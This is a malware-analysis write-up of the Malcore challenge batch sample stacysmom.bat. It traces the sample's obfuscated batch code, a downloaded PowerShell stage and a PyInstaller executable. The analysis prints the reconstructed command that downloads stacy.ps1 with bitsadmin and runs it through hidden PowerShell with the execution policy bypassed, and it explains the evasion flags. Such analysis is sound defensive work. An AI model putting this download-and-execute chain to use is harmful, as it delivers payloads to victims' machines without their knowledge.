Github

Malcore Challenge

https://raw.githubusercontent.com/Internet-2-0/file-samples/master/scripts/batch/stacysmom.batraw.githubusercontent.com

Brief Introduction

Given was a batch file. Upon analysing the file suggested that the script defines several variables with obfuscated names and encoded values. It uses Base64 encoding and other forms of obfuscation to hide the actual commands being executed. The script uses PowerShell to decode Base64 encoded strings and convert them into executable commands. It then constructs and runs commands based on the decoded values.

Variable Obfuscation

Above are the variable declaration made in the script. As we can see eitg is declared as set. So every time that variable is called using %eitg% , it will run the command set.

Main Operation

Below are the obfuscated functions that play a crucial role in the scripts. Understanding how the variable declared from the section before, we can construct a more readble functions.

Deobfuscated functions are as below:

Ah, much better. But there are still an encoded value we need to decode. As seen in the first line above, there was a powershell command executing a base64 conversion. The variable inside the FromBase64String() function points to the encoded value somewhere in script.

Decoding Values

I tried to use base64dump.py but somehow it does not detect those strings as a base64 encoding.

Below are the variables and its decoded values:

Reconstructing Full Command

The very last line of the script suggest that the full command being constructed and executed.

Using the same techniques from the sections before to reconstruct the command executed by this batch file.

As seen above, the command uses bitsadmin and powershell to download and execute a powershell script named stacy.ps1

Below are the command breakdown.

  • bitsadmin.exe /transfer:

    • bitsadmin.exe is a command-line tool used to create, manage, and monitor download and upload jobs. It is often used to perform file transfers in the background.

    • /transfer is a parameter used to create a new transfer job. In this context, it’s downloading a file.

  • "f48920e537d9c4e0e795971da3646444190eecd24d719303becdd9a13bfa5810":

    • This is the job name or identifier for the bitsadmin transfer job. It’s a unique identifier for this particular download job.

  • https://raw.githubusercontent.com/Internet-2-0/file-samples/master/scripts/powershell/stacy.ps1:

    • This is the URL from which the file (stacy.ps1) will be downloaded. The file is a PowerShell script hosted on GitHub.

  • C:\path\to\stacy.ps1:

    • This specifies the local path where the file will be saved. In this case, it’s attempting to save it to the current working directory with the name stacy.ps1.

  • &&:

    • This is a conditional operator in batch scripts. It runs the command following && only if the preceding command (bitsadmin.exe) succeeds.

  • powershell.exe -NoP -wiNdowSTYLE hiddeN -ExEcuTioNPolicy BypAss -CoMmAND "C:\path\to\stacy.ps1":

    • This is the PowerShell command that will be executed if the file download is successful.

    Flags and Parameters:

    • -NoP (or -NoProfile): Runs PowerShell without loading the profile scripts, which can speed up execution and reduce potential interference.

    • -wiNdowSTYLE hiddeN: Sets the PowerShell window to be hidden. This makes the execution less noticeable to users.

    • -ExEcuTioNPolicy BypAss: Bypasses the execution policy. By default, PowerShell restricts script execution, but this flag allows scripts to run regardless of policy settings.

    • -CoMmAND C:\path\to\stacy.ps1: Specifies the command to run, which is to execute the PowerShell script located at C:\path\to\stacy.ps1.

Reversing stacy.ps1

Retrieve the powershell script from the url founded.

Deobfuscate it to make it more readable.

Decode-Base64String() function operates as follow:

  1. replace '\x90' character with an empty space

  2. split the strings

  3. reverse it

  4. convert from base64

Encoded string in downloadUrl variable:

Decoded string in downloadUrl variable:

Encoded string in executablePath variable:

Decoded string in executablePath variable:

Line 19

  • The script will then download stacysmom.zip and rename it based on whatever the randomly generated output from Generate-RandomString() function with .zip extension.

Line 20

  • It then extracts the zip file and outputed it to another folder which again generated randomly using Generate-RandomString() function.

Line 21

  • Lastly, the file will be excuted with bypassed execution policy

  • \path\to\powershell.exe -ExecutionPolicy Bypass Start-Process -FilePath ".\path\to\stacy.exe"

Analysing stacysmom.zip

Unzipping the file presents us with several files.

Below are some of the content and properties of those files.

The most interesting one is obviously stacy.exe

Reversing stacy.exe

Using tool like Detect It Easy (DIE) can tell us how the executable being built.

Here, it tells us that the executable was compressed using ZLIB.

Looking for strings inside the executable shows us that python is used to compile the program.

Extract the executables using pyinstxtractor to get the .pyc from it.

Search for the most interesting file here which is stacy.pyc

Here, the file is not readable enough becuase it is still in a binary.

To convert .pyc to source code we can use tools like pycdc. Below is the full source code.

Again, it is obfuscated. Cleaning the code will make our eyes better.

The cleaned code will looks something like below.

Summary

The execution of stacysmom.bat producing several files downloaded on the victim's host. There were a lot of obfuscation happening in those scripts as discussed before. The main purpose of the executables is to accessing "https://link.malcore.io" url. With that, a simple diagram to understanding stacysmom.bat behavior are as below.

Drawing

Last updated